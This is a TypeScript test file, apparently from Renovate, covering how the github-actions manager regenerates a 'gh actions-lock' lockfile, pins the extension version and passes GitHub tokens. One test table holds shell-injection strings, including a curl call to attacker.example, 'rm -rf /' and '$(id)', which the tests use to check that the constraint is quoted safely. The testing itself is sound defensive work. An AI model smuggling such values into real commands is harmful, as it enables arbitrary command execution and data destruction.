mirror of
https://github.com/renovatebot/renovate.git
synced 2026-10-25 23:11:31 +00:00
578dc84d84
fix(deps): update dependency github/gh-actions-lock to v0.4.0 | datasource | package | from | to | | --------------- | ---------------------- | ------ | ------ | | github-releases | github/gh-actions-lock | v0.3.0 | v0.4.0 | Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
885 lines
28 KiB
TypeScript
885 lines
28 KiB
TypeScript
import { codeBlock } from 'common-tags';
|
|
import { mockExecAll } from '~test/exec-util.ts';
|
|
import { hostRules } from '~test/host-rules.ts';
|
|
import { fs, git, logger, partial } from '~test/util.ts';
|
|
import { getConfig } from '../../../config/defaults.ts';
|
|
import { GlobalConfig } from '../../../config/global.ts';
|
|
import type {
|
|
InternalGlobalConfigOptions,
|
|
RepoGlobalConfig,
|
|
} from '../../../config/types.ts';
|
|
import { TEMPORARY_ERROR } from '../../../constants/error-messages.ts';
|
|
import type { StatusResult } from '../../../util/git/types.ts';
|
|
import type { PackageFile, PostUpdateConfig, Upgrade } from '../types.ts';
|
|
import { updateActionsLockfile } from './artifacts.ts';
|
|
|
|
vi.mock('../../../util/fs/index.ts');
|
|
|
|
const actionsLockVersion = 'v0.4.0';
|
|
|
|
const actionsLock = codeBlock`
|
|
# This file is machine-generated by \`gh actions-lock\`.
|
|
# Do not edit by hand; run \`gh actions-lock\` to update.
|
|
# Docs: https://gh.io/actions-lockfile
|
|
version: 'v0.0.2'
|
|
workflows:
|
|
'.github/workflows/ci.yml':
|
|
- 'actions/checkout@v4.3.1'
|
|
- 'actions/setup-go@v5.6.0'
|
|
'.github/workflows/dependency-review.yml':
|
|
- 'actions/checkout@v4.3.1'
|
|
- 'actions/dependency-review-action@v4.9.0'
|
|
'.github/workflows/release.yml':
|
|
- 'actions/checkout@v6.0.2'
|
|
dependencies:
|
|
'actions/checkout@v4.3.1':
|
|
ref: 'v4.3.1'
|
|
commit: 'sha1-34e114876b0b11c390a56381ad16ebd13914f8d5'
|
|
owner_id: 44036562
|
|
repo_id: 197814629
|
|
'actions/checkout@v6.0.2':
|
|
ref: 'v6.0.2'
|
|
commit: 'sha1-de0fac2e4500dabe0009e67214ff5f5447ce83dd'
|
|
owner_id: 44036562
|
|
repo_id: 197814629
|
|
'actions/dependency-review-action@v4.9.0':
|
|
ref: 'v4.9.0'
|
|
commit: 'sha1-2031cfc080254a8a887f58cffee85186f0e49e48'
|
|
owner_id: 44036562
|
|
repo_id: 476372928
|
|
'actions/setup-go@v5.6.0':
|
|
ref: 'v5.6.0'
|
|
commit: 'sha1-40f1582b2485089dde7abd97c1529aa768e1baff'
|
|
owner_id: 44036562
|
|
repo_id: 192624594
|
|
`;
|
|
const packageFileName = '.github/workflows/ci.yml';
|
|
const releaseFileName = '.github/workflows/release.yml';
|
|
const lockFile = '.github/workflows/actions.lock';
|
|
|
|
const adminConfig: RepoGlobalConfig & InternalGlobalConfigOptions = {
|
|
localDir: '/tmp/github/some/repo',
|
|
cacheDir: '/tmp/cache',
|
|
};
|
|
|
|
const checkoutUpgrade: Upgrade = {
|
|
manager: 'github-actions',
|
|
packageFile: packageFileName,
|
|
depType: 'action',
|
|
depName: 'actions/checkout',
|
|
currentValue: 'v4.3.1',
|
|
newValue: 'v4.4.0',
|
|
};
|
|
|
|
const packageFiles: Record<string, PackageFile[]> = {
|
|
'github-actions': [partial<PackageFile>({ packageFile: packageFileName })],
|
|
};
|
|
|
|
const twoWorkflows: Record<string, PackageFile[]> = {
|
|
'github-actions': [
|
|
partial<PackageFile>({ packageFile: packageFileName }),
|
|
partial<PackageFile>({ packageFile: releaseFileName }),
|
|
],
|
|
};
|
|
|
|
/** As the tool marks the workflows it manages. */
|
|
function annotate(content: string): string {
|
|
return `# This workflow is managed by gh actions-lock.\n${content}`;
|
|
}
|
|
|
|
function makeConfig(
|
|
overrides: Partial<PostUpdateConfig> = {},
|
|
): PostUpdateConfig {
|
|
return partial<PostUpdateConfig>({
|
|
upgrades: [checkoutUpgrade],
|
|
updatedPackageFiles: [
|
|
{ type: 'addition', path: packageFileName, contents: 'updated workflow' },
|
|
],
|
|
// Mirrors production, where config is resolved against the shipped defaults.
|
|
constraints: getConfig().constraints,
|
|
...overrides,
|
|
});
|
|
}
|
|
|
|
/** What `git` reports as modified once the tool has run. */
|
|
function mockRepoStatus(
|
|
modified: string[] = [lockFile, packageFileName],
|
|
): void {
|
|
git.getRepoStatus.mockResolvedValue(partial<StatusResult>({ modified }));
|
|
}
|
|
|
|
/** The tool regenerated the lockfile and left the workflows alone. */
|
|
function mockLockfileRegenerated(): void {
|
|
fs.readLocalFile
|
|
.mockResolvedValueOnce(actionsLock)
|
|
.mockResolvedValueOnce(`${actionsLock}# updated\n`)
|
|
.mockResolvedValueOnce('updated workflow');
|
|
mockRepoStatus();
|
|
}
|
|
|
|
describe('modules/manager/github-actions/artifacts', () => {
|
|
beforeEach(() => {
|
|
GlobalConfig.set(adminConfig);
|
|
});
|
|
|
|
afterEach(() => {
|
|
vi.unstubAllEnvs();
|
|
});
|
|
|
|
describe('skipping', () => {
|
|
it.each`
|
|
given | packageFiles
|
|
${'absent'} | ${undefined}
|
|
${'empty'} | ${{}}
|
|
`(
|
|
'does nothing when the branch package files are $given',
|
|
async ({
|
|
packageFiles,
|
|
}: {
|
|
packageFiles: Record<string, PackageFile[]> | undefined;
|
|
}) => {
|
|
const execSnapshots = mockExecAll();
|
|
|
|
const res = await updateActionsLockfile(makeConfig(), packageFiles);
|
|
|
|
expect(res).toEqual({ updatedArtifacts: [], artifactErrors: [] });
|
|
expect(execSnapshots).toBeEmptyArray();
|
|
expect(fs.readLocalFile).not.toHaveBeenCalled();
|
|
},
|
|
);
|
|
|
|
it('does nothing when artifact updates are skipped', async () => {
|
|
const execSnapshots = mockExecAll();
|
|
|
|
// `:disableLockFiles` must keep the tool away from the lockfile, as it does for every other manager's artifacts
|
|
const res = await updateActionsLockfile(
|
|
makeConfig({ skipArtifactsUpdate: true }),
|
|
packageFiles,
|
|
);
|
|
|
|
expect(res).toEqual({ updatedArtifacts: [], artifactErrors: [] });
|
|
expect(execSnapshots).toBeEmptyArray();
|
|
expect(fs.readLocalFile).not.toHaveBeenCalled();
|
|
});
|
|
|
|
it('does nothing when the repo has no lockfile', async () => {
|
|
const execSnapshots = mockExecAll();
|
|
fs.readLocalFile.mockResolvedValueOnce(null);
|
|
|
|
const res = await updateActionsLockfile(makeConfig(), packageFiles);
|
|
|
|
expect(res.updatedArtifacts).toBeEmptyArray();
|
|
expect(execSnapshots).toBeEmptyArray();
|
|
expect(fs.writeLocalFile).not.toHaveBeenCalled();
|
|
});
|
|
|
|
it('warns and skips when the lockfile cannot be parsed', async () => {
|
|
const execSnapshots = mockExecAll();
|
|
fs.readLocalFile.mockResolvedValueOnce('workflows: [a, b]');
|
|
|
|
const res = await updateActionsLockfile(makeConfig(), packageFiles);
|
|
|
|
expect(res.updatedArtifacts).toBeEmptyArray();
|
|
expect(execSnapshots).toBeEmptyArray();
|
|
// a reshaped `workflows:` must be loud, not silently disable the feature
|
|
expect(logger.logger.warn).toHaveBeenCalled();
|
|
});
|
|
|
|
it('does nothing when no locked dependency was updated', async () => {
|
|
const execSnapshots = mockExecAll();
|
|
fs.readLocalFile.mockResolvedValueOnce(actionsLock);
|
|
|
|
const res = await updateActionsLockfile(
|
|
makeConfig({
|
|
upgrades: [
|
|
{ ...checkoutUpgrade, depType: 'container', depName: 'node' },
|
|
],
|
|
}),
|
|
packageFiles,
|
|
);
|
|
|
|
expect(res.updatedArtifacts).toBeEmptyArray();
|
|
expect(execSnapshots).toBeEmptyArray();
|
|
});
|
|
|
|
it('ignores upgrades from other managers, or with no package file', async () => {
|
|
const execSnapshots = mockExecAll();
|
|
fs.readLocalFile.mockResolvedValueOnce(actionsLock);
|
|
|
|
const res = await updateActionsLockfile(
|
|
makeConfig({
|
|
upgrades: [
|
|
{ ...checkoutUpgrade, manager: 'npm' },
|
|
{ ...checkoutUpgrade, packageFile: undefined },
|
|
],
|
|
}),
|
|
packageFiles,
|
|
);
|
|
|
|
expect(res.updatedArtifacts).toBeEmptyArray();
|
|
expect(execSnapshots).toBeEmptyArray();
|
|
});
|
|
|
|
it('ignores a workflow that is not onboarded to the lockfile', async () => {
|
|
const execSnapshots = mockExecAll();
|
|
fs.readLocalFile.mockResolvedValueOnce(actionsLock);
|
|
|
|
const res = await updateActionsLockfile(
|
|
makeConfig({
|
|
upgrades: [
|
|
{
|
|
...checkoutUpgrade,
|
|
packageFile: '.github/workflows/not-onboarded.yml',
|
|
},
|
|
],
|
|
}),
|
|
packageFiles,
|
|
);
|
|
|
|
expect(res.updatedArtifacts).toBeEmptyArray();
|
|
expect(execSnapshots).toBeEmptyArray();
|
|
});
|
|
|
|
it.each`
|
|
packageFile
|
|
${'workflow-templates/ci.yml'}
|
|
${'.gitea/workflows/ci.yml'}
|
|
${'.forgejo/workflows/ci.yml'}
|
|
${'.gitea/actions/build/action.yml'}
|
|
`(
|
|
'ignores $packageFile, which the tool never reads',
|
|
async ({ packageFile }: { packageFile: string }) => {
|
|
const execSnapshots = mockExecAll();
|
|
fs.readLocalFile.mockResolvedValueOnce(actionsLock);
|
|
|
|
const res = await updateActionsLockfile(
|
|
makeConfig({ upgrades: [{ ...checkoutUpgrade, packageFile }] }),
|
|
packageFiles,
|
|
);
|
|
|
|
expect(res.updatedArtifacts).toBeEmptyArray();
|
|
expect(execSnapshots).toBeEmptyArray();
|
|
},
|
|
);
|
|
|
|
it('runs for a local composite action, which the lockfile does not key', async () => {
|
|
const execSnapshots = mockExecAll();
|
|
mockLockfileRegenerated();
|
|
|
|
// composite actions are transitive deps of an onboarded workflow, so the tool decides whether anything changes
|
|
const res = await updateActionsLockfile(
|
|
makeConfig({
|
|
upgrades: [
|
|
{
|
|
...checkoutUpgrade,
|
|
packageFile: '.github/actions/build/action.yml',
|
|
},
|
|
],
|
|
}),
|
|
packageFiles,
|
|
);
|
|
|
|
expect(res.updatedArtifacts).toHaveLength(1);
|
|
expect(execSnapshots).toHaveLength(2);
|
|
});
|
|
|
|
it('runs for a reusable workflow call', async () => {
|
|
const execSnapshots = mockExecAll();
|
|
mockLockfileRegenerated();
|
|
|
|
// the lockfile records `OWNER/REPO@REF` pins, and a reusable workflow call is one
|
|
const res = await updateActionsLockfile(
|
|
makeConfig({
|
|
upgrades: [{ ...checkoutUpgrade, depType: 'workflow' }],
|
|
}),
|
|
packageFiles,
|
|
);
|
|
|
|
expect(res.updatedArtifacts).toHaveLength(1);
|
|
expect(execSnapshots).toHaveLength(2);
|
|
});
|
|
|
|
it('runs for a `docker://` uses dep', async () => {
|
|
const execSnapshots = mockExecAll();
|
|
mockLockfileRegenerated();
|
|
|
|
const res = await updateActionsLockfile(
|
|
makeConfig({
|
|
upgrades: [{ ...checkoutUpgrade, depType: 'docker' }],
|
|
}),
|
|
packageFiles,
|
|
);
|
|
|
|
expect(res.updatedArtifacts).toHaveLength(1);
|
|
expect(execSnapshots).toHaveLength(2);
|
|
});
|
|
|
|
it('runs for a local composite action when the lockfile has onboarded nothing', async () => {
|
|
const execSnapshots = mockExecAll();
|
|
fs.readLocalFile
|
|
.mockResolvedValueOnce("version: 'v0.0.2'\nworkflows: {}\n")
|
|
.mockResolvedValueOnce("version: 'v0.0.2'\nworkflows: {}\n# updated\n")
|
|
.mockResolvedValueOnce('updated workflow');
|
|
mockRepoStatus();
|
|
|
|
// a composite action isn't keyed by `workflows:`, so it still runs even when that key is missing entirely
|
|
const res = await updateActionsLockfile(
|
|
makeConfig({
|
|
upgrades: [
|
|
{
|
|
...checkoutUpgrade,
|
|
packageFile: '.github/actions/build/action.yml',
|
|
},
|
|
],
|
|
}),
|
|
packageFiles,
|
|
);
|
|
|
|
expect(res.updatedArtifacts).toHaveLength(1);
|
|
expect(execSnapshots).toHaveLength(2);
|
|
});
|
|
});
|
|
|
|
describe('regenerating', () => {
|
|
it('runs the tool once and returns the lockfile', async () => {
|
|
const execSnapshots = mockExecAll();
|
|
mockLockfileRegenerated();
|
|
|
|
const res = await updateActionsLockfile(makeConfig(), packageFiles);
|
|
|
|
expect(res.updatedArtifacts).toEqual([
|
|
{
|
|
type: 'addition',
|
|
path: lockFile,
|
|
contents: `${actionsLock}# updated\n`,
|
|
},
|
|
]);
|
|
// runs from the repo root, since the tool re-resolves every workflow
|
|
expect(execSnapshots).toMatchObject([
|
|
{
|
|
cmd: `gh extension install github/gh-actions-lock --force --pin ${actionsLockVersion}`,
|
|
options: { cwd: '/tmp/github/some/repo' },
|
|
},
|
|
{
|
|
cmd: 'gh actions-lock --no-interactive --relock --no-narrow --no-migrate-local-actions',
|
|
options: { cwd: '/tmp/github/some/repo' },
|
|
},
|
|
]);
|
|
});
|
|
|
|
it('flushes every updated package file before running the tool', async () => {
|
|
mockExecAll();
|
|
fs.readLocalFile
|
|
.mockResolvedValueOnce(actionsLock)
|
|
.mockResolvedValueOnce(`${actionsLock}# updated\n`)
|
|
.mockResolvedValueOnce('updated ci')
|
|
.mockResolvedValueOnce('updated release');
|
|
mockRepoStatus([lockFile, packageFileName, releaseFileName]);
|
|
|
|
await updateActionsLockfile(
|
|
makeConfig({
|
|
updatedPackageFiles: [
|
|
{ type: 'addition', path: packageFileName, contents: 'updated ci' },
|
|
{
|
|
type: 'addition',
|
|
path: releaseFileName,
|
|
contents: 'updated release',
|
|
},
|
|
],
|
|
}),
|
|
twoWorkflows,
|
|
);
|
|
|
|
// the whole branch has to be on disk, or the tool rebuilds the lockfile from pre-update content
|
|
expect(fs.writeLocalFile).toHaveBeenCalledWith(
|
|
packageFileName,
|
|
'updated ci',
|
|
);
|
|
expect(fs.writeLocalFile).toHaveBeenCalledWith(
|
|
releaseFileName,
|
|
'updated release',
|
|
);
|
|
});
|
|
|
|
it('leaves package files from other managers alone', async () => {
|
|
mockExecAll();
|
|
mockLockfileRegenerated();
|
|
|
|
await updateActionsLockfile(
|
|
makeConfig({
|
|
updatedPackageFiles: [
|
|
{
|
|
type: 'addition',
|
|
path: packageFileName,
|
|
contents: 'updated workflow',
|
|
},
|
|
// a branch can group updates from other managers, whose contents can be binary
|
|
{
|
|
type: 'addition',
|
|
path: 'gradle/wrapper/gradle-wrapper.jar',
|
|
contents: Buffer.from([0x50, 0x4b, 0x03, 0x04]),
|
|
},
|
|
],
|
|
}),
|
|
packageFiles,
|
|
);
|
|
|
|
expect(fs.writeLocalFile).toHaveBeenCalledExactlyOnceWith(
|
|
packageFileName,
|
|
'updated workflow',
|
|
);
|
|
});
|
|
|
|
it('returns workflows that the tool annotated', async () => {
|
|
mockExecAll();
|
|
fs.readLocalFile
|
|
.mockResolvedValueOnce(actionsLock)
|
|
.mockResolvedValueOnce(`${actionsLock}# updated\n`)
|
|
.mockResolvedValueOnce(annotate('updated workflow'));
|
|
|
|
mockRepoStatus();
|
|
|
|
const res = await updateActionsLockfile(makeConfig(), packageFiles);
|
|
|
|
expect(res.updatedArtifacts).toMatchObject([
|
|
{ path: lockFile },
|
|
{ path: packageFileName, contents: annotate('updated workflow') },
|
|
]);
|
|
});
|
|
|
|
it('returns a workflow the branch did not update but the tool annotated', async () => {
|
|
mockExecAll();
|
|
fs.readLocalFile
|
|
.mockResolvedValueOnce(actionsLock)
|
|
.mockResolvedValueOnce(`${actionsLock}# updated\n`)
|
|
.mockResolvedValueOnce('updated workflow')
|
|
.mockResolvedValueOnce(annotate('release workflow'));
|
|
mockRepoStatus([lockFile, packageFileName, releaseFileName]);
|
|
|
|
// the tool re-annotates every onboarded workflow, so an edit to one this branch never touched still has to be committed
|
|
const res = await updateActionsLockfile(makeConfig(), twoWorkflows);
|
|
|
|
expect(res.updatedArtifacts).toMatchObject([
|
|
{ path: lockFile },
|
|
{ path: releaseFileName, contents: annotate('release workflow') },
|
|
]);
|
|
});
|
|
|
|
it('leaves files this manager does not own to their own manager', async () => {
|
|
mockExecAll();
|
|
fs.readLocalFile
|
|
.mockResolvedValueOnce(actionsLock)
|
|
.mockResolvedValueOnce(`${actionsLock}# updated\n`)
|
|
.mockResolvedValueOnce('updated workflow');
|
|
mockRepoStatus([lockFile, packageFileName, 'package-lock.json']);
|
|
|
|
const res = await updateActionsLockfile(makeConfig(), packageFiles);
|
|
|
|
expect(res.updatedArtifacts).toMatchObject([{ path: lockFile }]);
|
|
expect(fs.readLocalFile).not.toHaveBeenCalledWith(
|
|
'package-lock.json',
|
|
'utf8',
|
|
);
|
|
});
|
|
|
|
it('returns nothing when the lockfile is unchanged', async () => {
|
|
mockExecAll();
|
|
fs.readLocalFile
|
|
.mockResolvedValueOnce(actionsLock)
|
|
.mockResolvedValueOnce(actionsLock)
|
|
.mockResolvedValueOnce('updated workflow');
|
|
mockRepoStatus();
|
|
|
|
const res = await updateActionsLockfile(makeConfig(), packageFiles);
|
|
|
|
expect(res.updatedArtifacts).toBeEmptyArray();
|
|
});
|
|
|
|
it('returns nothing when the lockfile disappeared', async () => {
|
|
mockExecAll();
|
|
fs.readLocalFile
|
|
.mockResolvedValueOnce(actionsLock)
|
|
.mockResolvedValueOnce(null)
|
|
.mockResolvedValueOnce('updated workflow');
|
|
mockRepoStatus();
|
|
|
|
const res = await updateActionsLockfile(makeConfig(), packageFiles);
|
|
|
|
expect(res.updatedArtifacts).toBeEmptyArray();
|
|
});
|
|
|
|
it('ignores an unreadable workflow', async () => {
|
|
mockExecAll();
|
|
fs.readLocalFile
|
|
.mockResolvedValueOnce(actionsLock)
|
|
.mockResolvedValueOnce(`${actionsLock}# updated\n`)
|
|
.mockResolvedValueOnce(null);
|
|
mockRepoStatus();
|
|
|
|
const res = await updateActionsLockfile(makeConfig(), packageFiles);
|
|
|
|
expect(res.updatedArtifacts).toMatchObject([{ path: lockFile }]);
|
|
});
|
|
|
|
it('ignores deletions among the updated package files', async () => {
|
|
mockExecAll();
|
|
fs.readLocalFile
|
|
.mockResolvedValueOnce(actionsLock)
|
|
.mockResolvedValueOnce(`${actionsLock}# updated\n`);
|
|
mockRepoStatus([lockFile]);
|
|
|
|
const res = await updateActionsLockfile(
|
|
makeConfig({
|
|
updatedPackageFiles: [{ type: 'deletion', path: packageFileName }],
|
|
}),
|
|
packageFiles,
|
|
);
|
|
|
|
expect(fs.writeLocalFile).not.toHaveBeenCalled();
|
|
expect(res.updatedArtifacts).toHaveLength(1);
|
|
});
|
|
|
|
it('runs when there are no updated package files to flush', async () => {
|
|
mockExecAll();
|
|
fs.readLocalFile
|
|
.mockResolvedValueOnce(actionsLock)
|
|
.mockResolvedValueOnce(`${actionsLock}# updated\n`);
|
|
mockRepoStatus([lockFile]);
|
|
|
|
const res = await updateActionsLockfile(
|
|
makeConfig({ updatedPackageFiles: undefined }),
|
|
packageFiles,
|
|
);
|
|
|
|
expect(fs.writeLocalFile).not.toHaveBeenCalled();
|
|
expect(res.updatedArtifacts).toHaveLength(1);
|
|
});
|
|
});
|
|
|
|
describe('extension pinning', () => {
|
|
it('honours an overridden `ghActionsLock` constraint', async () => {
|
|
const execSnapshots = mockExecAll();
|
|
mockLockfileRegenerated();
|
|
|
|
await updateActionsLockfile(
|
|
makeConfig({ constraints: { ghActionsLock: 'v0.1.7-rc.1' } }),
|
|
packageFiles,
|
|
);
|
|
|
|
expect(execSnapshots[0].cmd).toBe(
|
|
'gh extension install github/gh-actions-lock --force --pin v0.1.7-rc.1',
|
|
);
|
|
});
|
|
|
|
it.each`
|
|
constraint | quoted
|
|
${'v1 && curl https://attacker.example'} | ${"'v1 && curl https://attacker.example'"}
|
|
${'v1; rm -rf /'} | ${"'v1; rm -rf /'"}
|
|
${'$(id)'} | ${"'$(id)'"}
|
|
${"v1'"} | ${"'v1'\"'\""}
|
|
`(
|
|
'quotes $constraint so it cannot escape the command',
|
|
async ({
|
|
constraint,
|
|
quoted,
|
|
}: {
|
|
constraint: string;
|
|
quoted: string;
|
|
}) => {
|
|
const execSnapshots = mockExecAll();
|
|
mockLockfileRegenerated();
|
|
|
|
await updateActionsLockfile(
|
|
makeConfig({ constraints: { ghActionsLock: constraint } }),
|
|
packageFiles,
|
|
);
|
|
|
|
expect(execSnapshots[0].cmd).toBe(
|
|
`gh extension install github/gh-actions-lock --force --pin ${quoted}`,
|
|
);
|
|
},
|
|
);
|
|
|
|
it('installs the latest when the constraint is set empty', async () => {
|
|
const execSnapshots = mockExecAll();
|
|
mockLockfileRegenerated();
|
|
|
|
// the pin has a default which `constraints: {}` cannot remove, since `constraints` is mergeable.
|
|
// An empty value is the way to opt out.
|
|
await updateActionsLockfile(
|
|
makeConfig({ constraints: { ghActionsLock: '' } }),
|
|
packageFiles,
|
|
);
|
|
|
|
expect(execSnapshots[0].cmd).toBe(
|
|
'gh extension install github/gh-actions-lock --force',
|
|
);
|
|
});
|
|
|
|
it('does not touch the extension with `binarySource=global`', async () => {
|
|
GlobalConfig.set({ ...adminConfig, binarySource: 'global' });
|
|
const execSnapshots = mockExecAll();
|
|
mockLockfileRegenerated();
|
|
|
|
await updateActionsLockfile(makeConfig(), packageFiles);
|
|
|
|
// the administrator owns the extension, so we must not re-pin it
|
|
expect(execSnapshots).toMatchObject([
|
|
{
|
|
cmd: 'gh actions-lock --no-interactive --relock --no-narrow --no-migrate-local-actions',
|
|
},
|
|
]);
|
|
// ... but say so, since the constraint is silently inert otherwise
|
|
expect(logger.logger.once.debug).toHaveBeenCalledWith(
|
|
{ constraint: actionsLockVersion },
|
|
expect.stringContaining('ignoring `constraints.ghActionsLock`'),
|
|
);
|
|
});
|
|
});
|
|
|
|
describe('tooling and credentials', () => {
|
|
it('passes the `gh` constraint through to the tool install', async () => {
|
|
vi.stubEnv('CONTAINERBASE', 'true');
|
|
GlobalConfig.set({ ...adminConfig, binarySource: 'install' });
|
|
const execSnapshots = mockExecAll();
|
|
mockLockfileRegenerated();
|
|
|
|
await updateActionsLockfile(
|
|
makeConfig({
|
|
constraints: { ...getConfig().constraints, gh: '2.62.0' },
|
|
}),
|
|
packageFiles,
|
|
);
|
|
|
|
expect(execSnapshots.map((s) => s.cmd)).toContain(
|
|
'install-tool gh 2.62.0',
|
|
);
|
|
});
|
|
|
|
it('falls back to the extracted `gh` constraint', async () => {
|
|
vi.stubEnv('CONTAINERBASE', 'true');
|
|
GlobalConfig.set({ ...adminConfig, binarySource: 'install' });
|
|
const execSnapshots = mockExecAll();
|
|
mockLockfileRegenerated();
|
|
|
|
await updateActionsLockfile(
|
|
makeConfig({ extractedConstraints: { gh: '2.62.0' } }),
|
|
packageFiles,
|
|
);
|
|
|
|
expect(execSnapshots.map((s) => s.cmd)).toContain(
|
|
'install-tool gh 2.62.0',
|
|
);
|
|
});
|
|
|
|
it('passes a github.com token as `GH_TOKEN`', async () => {
|
|
const execSnapshots = mockExecAll();
|
|
hostRules.add({
|
|
hostType: 'github',
|
|
matchHost: 'api.github.com',
|
|
token: 'some-token',
|
|
});
|
|
mockLockfileRegenerated();
|
|
|
|
await updateActionsLockfile(makeConfig(), packageFiles);
|
|
|
|
expect(execSnapshots[0].options?.env).toMatchObject({
|
|
GH_TOKEN: 'some-token',
|
|
});
|
|
});
|
|
|
|
it('passes a GHES token as `GH_ENTERPRISE_TOKEN` with `GH_HOST`', async () => {
|
|
GlobalConfig.set({
|
|
...adminConfig,
|
|
platform: 'github',
|
|
endpoint: 'https://github.example.com/api/v3/',
|
|
});
|
|
const execSnapshots = mockExecAll();
|
|
hostRules.add({
|
|
hostType: 'github',
|
|
matchHost: 'github.example.com',
|
|
token: 'ghes-token',
|
|
});
|
|
mockLockfileRegenerated();
|
|
|
|
await updateActionsLockfile(makeConfig(), packageFiles);
|
|
|
|
expect(execSnapshots[0].options?.env).toMatchObject({
|
|
GH_HOST: 'github.example.com',
|
|
GH_ENTERPRISE_TOKEN: 'ghes-token',
|
|
});
|
|
expect(execSnapshots[0].options?.env).not.toHaveProperty('GH_TOKEN');
|
|
});
|
|
|
|
it('also passes a github.com token on GHES, for public actions', async () => {
|
|
GlobalConfig.set({
|
|
...adminConfig,
|
|
platform: 'github',
|
|
endpoint: 'https://github.example.com/api/v3/',
|
|
});
|
|
const execSnapshots = mockExecAll();
|
|
hostRules.add({
|
|
hostType: 'github',
|
|
matchHost: 'github.example.com',
|
|
token: 'ghes-token',
|
|
});
|
|
hostRules.add({
|
|
hostType: 'github',
|
|
matchHost: 'api.github.com',
|
|
token: 'dot-com-token',
|
|
});
|
|
mockLockfileRegenerated();
|
|
|
|
await updateActionsLockfile(makeConfig(), packageFiles);
|
|
|
|
// the tool resolves `actions/checkout` against github.com even from a GHES repository, and unauthenticated requests are rate limited hard
|
|
expect(execSnapshots[0].options?.env).toMatchObject({
|
|
GH_HOST: 'github.example.com',
|
|
GH_ENTERPRISE_TOKEN: 'ghes-token',
|
|
GH_TOKEN: 'dot-com-token',
|
|
});
|
|
});
|
|
|
|
it('does not let an ambient token shadow the one we resolved', async () => {
|
|
vi.stubEnv('GH_TOKEN', 'ambient-token');
|
|
const execSnapshots = mockExecAll();
|
|
hostRules.add({
|
|
hostType: 'github',
|
|
matchHost: 'api.github.com',
|
|
token: 'some-token',
|
|
});
|
|
mockLockfileRegenerated();
|
|
|
|
await updateActionsLockfile(makeConfig(), packageFiles);
|
|
|
|
expect(execSnapshots[0].options?.env).toMatchObject({
|
|
GH_TOKEN: 'some-token',
|
|
});
|
|
});
|
|
|
|
it('still passes a github.com token when GHES has none', async () => {
|
|
GlobalConfig.set({
|
|
...adminConfig,
|
|
platform: 'github',
|
|
endpoint: 'https://github.example.com/api/v3/',
|
|
});
|
|
const execSnapshots = mockExecAll();
|
|
hostRules.add({
|
|
hostType: 'github',
|
|
matchHost: 'api.github.com',
|
|
token: 'dot-com-token',
|
|
});
|
|
mockLockfileRegenerated();
|
|
|
|
await updateActionsLockfile(makeConfig(), packageFiles);
|
|
|
|
expect(execSnapshots[0].options?.env).toMatchObject({
|
|
GH_TOKEN: 'dot-com-token',
|
|
});
|
|
expect(execSnapshots[0].options?.env).not.toHaveProperty('GH_HOST');
|
|
});
|
|
|
|
it('treats an unparseable endpoint as github.com', async () => {
|
|
GlobalConfig.set({
|
|
...adminConfig,
|
|
platform: 'github',
|
|
endpoint: 'not-a-valid-url',
|
|
});
|
|
const execSnapshots = mockExecAll();
|
|
mockLockfileRegenerated();
|
|
|
|
await updateActionsLockfile(makeConfig(), packageFiles);
|
|
|
|
// no host to tell `gh` about, so nothing enterprise-specific
|
|
expect(execSnapshots[0].options?.env).not.toHaveProperty('GH_HOST');
|
|
expect(execSnapshots[0].options?.env).not.toHaveProperty(
|
|
'GH_ENTERPRISE_TOKEN',
|
|
);
|
|
});
|
|
|
|
it('resolves the token against github.com when the platform is not github', async () => {
|
|
GlobalConfig.set({
|
|
...adminConfig,
|
|
platform: 'gitlab',
|
|
endpoint: 'https://gitlab.example.com/',
|
|
});
|
|
const execSnapshots = mockExecAll();
|
|
hostRules.add({
|
|
hostType: 'github',
|
|
matchHost: 'api.github.com',
|
|
token: 'some-token',
|
|
});
|
|
mockLockfileRegenerated();
|
|
|
|
await updateActionsLockfile(makeConfig(), packageFiles);
|
|
|
|
// the configured endpoint isn't a GitHub one, so `gh` still talks to github.com
|
|
expect(execSnapshots[0].options?.env).toMatchObject({
|
|
GH_TOKEN: 'some-token',
|
|
});
|
|
expect(execSnapshots[0].options?.env).not.toHaveProperty('GH_HOST');
|
|
});
|
|
|
|
it('runs unauthenticated when no token is configured', async () => {
|
|
const execSnapshots = mockExecAll();
|
|
mockLockfileRegenerated();
|
|
|
|
await updateActionsLockfile(makeConfig(), packageFiles);
|
|
|
|
expect(execSnapshots[0].options?.env).not.toHaveProperty('GH_TOKEN');
|
|
expect(logger.logger.debug).toHaveBeenCalledWith(
|
|
'No GitHub token found for `gh actions-lock`',
|
|
);
|
|
});
|
|
});
|
|
|
|
describe('errors', () => {
|
|
it('prefers stderr when the tool wrote one', async () => {
|
|
const err = new Error('exit 1');
|
|
Object.assign(err, { stderr: 'could not resolve actions/checkout' });
|
|
mockExecAll(err);
|
|
fs.readLocalFile.mockResolvedValueOnce(actionsLock);
|
|
|
|
const res = await updateActionsLockfile(makeConfig(), packageFiles);
|
|
|
|
expect(res.artifactErrors).toEqual([
|
|
{
|
|
fileName: lockFile,
|
|
stderr: 'could not resolve actions/checkout',
|
|
},
|
|
]);
|
|
});
|
|
|
|
it('falls back past an empty stderr so the error is never blank', async () => {
|
|
const err = new Error('gh: command failed');
|
|
Object.assign(err, { stderr: '', stdout: '' });
|
|
mockExecAll(err);
|
|
fs.readLocalFile.mockResolvedValueOnce(actionsLock);
|
|
|
|
const res = await updateActionsLockfile(makeConfig(), packageFiles);
|
|
|
|
expect(res.artifactErrors[0].stderr).toBe('gh: command failed');
|
|
});
|
|
|
|
it('prefers stdout over an empty stderr', async () => {
|
|
const err = new Error('exit 1');
|
|
Object.assign(err, { stderr: '', stdout: 'extension not found' });
|
|
mockExecAll(err);
|
|
fs.readLocalFile.mockResolvedValueOnce(actionsLock);
|
|
|
|
const res = await updateActionsLockfile(makeConfig(), packageFiles);
|
|
|
|
expect(res.artifactErrors[0].stderr).toBe('extension not found');
|
|
});
|
|
|
|
it('rethrows a temporary error', async () => {
|
|
mockExecAll(new Error(TEMPORARY_ERROR));
|
|
fs.readLocalFile.mockResolvedValueOnce(actionsLock);
|
|
|
|
await expect(
|
|
updateActionsLockfile(makeConfig(), packageFiles),
|
|
).rejects.toThrow(TEMPORARY_ERROR);
|
|
});
|
|
});
|
|
});
|